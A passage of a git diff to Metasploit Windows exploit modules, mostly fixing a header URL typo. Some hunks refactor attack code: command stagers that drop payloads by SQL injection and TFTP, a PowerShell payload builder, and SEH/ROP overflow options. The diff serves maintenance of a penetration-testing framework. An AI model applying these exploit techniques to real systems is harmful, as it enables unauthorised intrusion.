http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 9d9b612caf..383d1e5503 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def execute_command(cmd, opts = {}) @@ -159,22 +159,21 @@ Processor-Speed=#{processor_speed} # CmdStagerVBS was tested here as well, however delivery took roughly # 30 minutes and required sending almost 350 notification messages. # size constraint requirement for SQLi is: linemax => 393 - execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) + execute_cmdstager({:delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp}) end def on_new_session(client) - return if not payload_exe + return if not stager_instance.payload_exe #can't scrub dropped payload while the process is still active so... #iterate through process list, find our process and the associated #parent process ID, Kill the parent. #This module doesn't use FileDropper because of timing issues when #using migrate -f and FileDropper. On the other hand PrependMigrate - #has been avoided because of issues with reverse_https payload - #SeeRM#8365 https://http://dev.metasploit.com/redmine/issues/8365 + #has been avoided because of older issues with reverse_https payload unless client.type == "meterpreter" - print_error("Automatic cleanup only available with meterpreter, please delete #{payload_exe} manually") + print_error("Automatic cleanup only available with meterpreter, please delete #{stager_instance.payload_exe} manually") return end @@ -190,8 +189,8 @@ Processor-Speed=#{processor_speed} end end - win_temp = client.fs.file.expand_path("%TEMP%") - win_file = "#{win_temp}\\#{payload_exe}" + win_temp = client.sys.config.getenv('TEMP') + win_file = "#{win_temp}\\#{stager_instance.payload_exe}" print_status("Attempting to delete #{win_file} ...") client.shell_command_token(%Q|attrib.exe -r #{win_file}|) client.fs.file.rm(win_file) diff --git a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb index bf65571f25..dfa2e33ca2 100644 --- a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb +++ b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb index 1492909538..5f4aaf27a6 100644 --- a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb +++ b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb index 3d6a60220f..1cbbe3b166 100644 --- a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb +++ b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/avidphoneticindexer.rb b/modules/exploits/windows/misc/avidphoneticindexer.rb index 8a4f351107..d61bc8c168 100644 --- a/modules/exploits/windows/misc/avidphoneticindexer.rb +++ b/modules/exploits/windows/misc/avidphoneticindexer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb index b58b65aea6..f7ef75924e 100644 --- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb +++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bcaaa_bof.rb b/modules/exploits/windows/misc/bcaaa_bof.rb index b2519d10fa..6647a2e608 100644 --- a/modules/exploits/windows/misc/bcaaa_bof.rb +++ b/modules/exploits/windows/misc/bcaaa_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bigant_server.rb b/modules/exploits/windows/misc/bigant_server.rb index 7b1583ddb1..a63b9bd4fa 100644 --- a/modules/exploits/windows/misc/bigant_server.rb +++ b/modules/exploits/windows/misc/bigant_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb index 27d4b1a106..49e364a014 100644 --- a/modules/exploits/windows/misc/bigant_server_250.rb +++ b/modules/exploits/windows/misc/bigant_server_250.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index c3da589edd..c064c4be86 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index 592fad6a92..4bf8ff8fcf 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote sploit << [target.ret].pack("V") sploit << [target['FakeObject']].pack("V") sploit << [target['FakeObject']].pack("V") - if target[:callback_rop] and self.respond_to?(target[:callback_rop]) + if target[:callback_rop] and self.respond_to?(target[:callback_rop], true) sploit << self.send(target[:callback_rop]) else sploit << [target['JmpESP']].pack("V") diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb index 833ac019d6..9db3b25a2f 100644 --- a/modules/exploits/windows/misc/bigant_server_usv.rb +++ b/modules/exploits/windows/misc/bigant_server_usv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb index bcf6fdabd5..d33320a4dc 100644 --- a/modules/exploits/windows/misc/bomberclone_overflow.rb +++ b/modules/exploits/windows/misc/bomberclone_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...") udp_sock.put(request) - udp_sock.get + udp_sock.get(5) handler(udp_sock) disconnect_udp diff --git a/modules/exploits/windows/misc/bopup_comm.rb b/modules/exploits/windows/misc/bopup_comm.rb index 601b3c4030..2f5d35ae39 100644 --- a/modules/exploits/windows/misc/bopup_comm.rb +++ b/modules/exploits/windows/misc/bopup_comm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/borland_interbase.rb b/modules/exploits/windows/misc/borland_interbase.rb index bb6f0ccd35..0da0bbad83 100644 --- a/modules/exploits/windows/misc/borland_interbase.rb +++ b/modules/exploits/windows/misc/borland_interbase.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/borland_starteam.rb b/modules/exploits/windows/misc/borland_starteam.rb index 4f23e774b7..e354c56925 100644 --- a/modules/exploits/windows/misc/borland_starteam.rb +++ b/modules/exploits/windows/misc/borland_starteam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index e01e9f6175..4ddb6beb1f 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index b857ee1508..f64248b583 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 81fdea02af..31ed2b4605 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index f897674a24..66d3145b80 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 1b6bb06d83..2d36e4ee08 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/doubletake.rb b/modules/exploits/windows/misc/doubletake.rb index 87d24c7dc5..9130d3ad0a 100644 --- a/modules/exploits/windows/misc/doubletake.rb +++ b/modules/exploits/windows/misc/doubletake.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb index e22d345013..c5cc523440 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb index 2a418c56e7..ba6caf4a42 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index a5e1d0c360..aef09e156c 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/eureka_mail_err.rb b/modules/exploits/windows/misc/eureka_mail_err.rb index 84d95f81b5..9c59408ddc 100644 --- a/modules/exploits/windows/misc/eureka_mail_err.rb +++ b/modules/exploits/windows/misc/eureka_mail_err.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_connect(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) # the offset to eip depends on the local ip address string length... already = "Your POP3 server had a problem.\n" diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index 3c8a3deed1..084c331db4 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -92,11 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect opcode = data.unpack("N*")[0] - version = data.unpack("N*")[1] if opcode == 3 # Accept - if [ 0xffff800b, 0xffff800c ].include?(version) - return Exploit::CheckCode::Vulnerable - end return Exploit::CheckCode::Detected end diff --git a/modules/exploits/windows/misc/fb_isc_attach_database.rb b/modules/exploits/windows/misc/fb_isc_attach_database.rb index 545928c6cb..f0ccc69f63 100644 --- a/modules/exploits/windows/misc/fb_isc_attach_database.rb +++ b/modules/exploits/windows/misc/fb_isc_attach_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/fb_isc_create_database.rb b/modules/exploits/windows/misc/fb_isc_create_database.rb index 09cb07489b..d85485c26a 100644 --- a/modules/exploits/windows/misc/fb_isc_create_database.rb +++ b/modules/exploits/windows/misc/fb_isc_create_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/fb_svc_attach.rb b/modules/exploits/windows/misc/fb_svc_attach.rb index b9a8b0044a..fca3bb11bf 100644 --- a/modules/exploits/windows/misc/fb_svc_attach.rb +++ b/modules/exploits/windows/misc/fb_svc_attach.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,12 +70,6 @@ class Metasploit3 < Msf::Exploit::Remote connect - # Attach database - op_attach = 19 - - # Create database - op_create = 20 - # Service attach op_service_attach = 82 diff --git a/modules/exploits/windows/misc/gimp_script_fu.rb b/modules/exploits/windows/misc/gimp_script_fu.rb index b6ab651a50..2fa4784861 100644 --- a/modules/exploits/windows/misc/gimp_script_fu.rb +++ b/modules/exploits/windows/misc/gimp_script_fu.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 26baf9192d..7dd833c3c0 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb index ecaa4167dc..807267a2c2 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa" sock.put(hello) - hello_response = sock.get + hello_response = sock.get_once(-1, 10) disconnect if hello_response and hello_response =~ /Dtb: Context/ @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa" sock.put(hello) - hello_response = sock.get + hello_response = sock.get_once(-1, 10) if not hello_response or hello_response.empty? print_error("#{sock.peerinfo} - The Hello Request hasn't received a response") diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb index b0e0256094..0e698d7ccb 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'Platform' => 'win', 'Targets' => @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(5555), OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) - ], - self.class) + ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Remote if target.name =~ /VBScript CMDStager/ # 7500 just in case, to be sure the command fits after # environment variables expansion - execute_cmdstager({:linemax => 7500}) + execute_cmdstager({:flavor => :vbs, :linemax => 7500}) elsif target.name =~ /Powershell/ # Environment variables are not being expanded before, neither in CreateProcess - command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "") + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) if command.length > 8000 # Windows 2008 Command Prompt Max Length is 8191 fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb index 3cdb76402d..9ef85606a0 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote end sock.put(hello) - hello_response = sock.get + hello_response = sock.get_once(-1, 10) if not hello_response or hello_response.empty? print_error("#{sock.peerinfo} - The Hello Request haven't had response") @@ -235,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote end sock.put(auth) - auth_response = sock.get + auth_response = sock.get_once(-1, 10) if not auth_response or auth_response.empty? print_error("#{sock.peerinfo} - The Authentication Request haven't had response") return @@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote request_token << "\x07\x00\x00\x00" sock.put(request_token) - response_token = sock.get + response_token = sock.get_once(-1, 10) if not response_token or response_token.empty? print_error("#{sock.peerinfo} - The Token Request haven't had response") return @@ -261,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Remote request_home_identifier << "\x00\x00\x00\x00" sock.put(request_home_identifier) - response_home_identifier = sock.get + response_home_identifier = sock.get_once(-1, 10) if not response_home_identifier or response_home_identifier.empty? print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response") return @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote request_home_contents << response_home_identifier[24,9] << "\00\x00\x00\x00\x0d\x00\x00" sock.put(request_home_contents) - response_home_contents = sock.get + response_home_contents = sock.get_once(-1, 10) if not response_home_contents or response_home_contents.empty? print_error("#{sock.peerinfo} - The Home Contents Request haven't had response") return diff --git a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb index f0d9dcdcd3..ce3ff71b99 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_imc_uam.rb b/modules/exploits/windows/misc/hp_imc_uam.rb index f55e3724a6..8055b0d947 100644 --- a/modules/exploits/windows/misc/hp_imc_uam.rb +++ b/modules/exploits/windows/misc/hp_imc_uam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index 6b25504e3e..fb664c9ae6 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb index 1f0810650e..80b04a5bdc 100644 --- a/modules/exploits/windows/misc/hp_magentservice.rb +++ b/modules/exploits/windows/misc/hp_magentservice.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index 172c557a1b..b168c6ff5a 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index cbd30cab80..404dd0458a 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb index 08fe7d3201..f8aeca8a72 100644 --- a/modules/exploits/windows/misc/hp_omniinet_3.rb +++ b/modules/exploits/windows/misc/hp_omniinet_3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_4.rb b/modules/exploits/windows/misc/hp_omniinet_4.rb index 9d991880f6..2670342a6c 100644 --- a/modules/exploits/windows/misc/hp_omniinet_4.rb +++ b/modules/exploits/windows/misc/hp_omniinet_4.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 8f560dc3ed..25e196293b 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -203,4 +203,4 @@ user-agent: BBC 11.00.044; 14 disconnect end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 636f877c8a..f38eeb33a9 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_ovtrace.rb b/modules/exploits/windows/misc/hp_ovtrace.rb index 1044283d85..0612f411ef 100644 --- a/modules/exploits/windows/misc/hp_ovtrace.rb +++ b/modules/exploits/windows/misc/hp_ovtrace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_isc_attach_database.rb b/modules/exploits/windows/misc/ib_isc_attach_database.rb index a607302d92..85ad7d3da3 100644 --- a/modules/exploits/windows/misc/ib_isc_attach_database.rb +++ b/modules/exploits/windows/misc/ib_isc_attach_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_isc_create_database.rb b/modules/exploits/windows/misc/ib_isc_create_database.rb index 44d6b2b737..794f12d3c6 100644 --- a/modules/exploits/windows/misc/ib_isc_create_database.rb +++ b/modules/exploits/windows/misc/ib_isc_create_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_svc_attach.rb b/modules/exploits/windows/misc/ib_svc_attach.rb index 06b5546915..ce739237e8 100644 --- 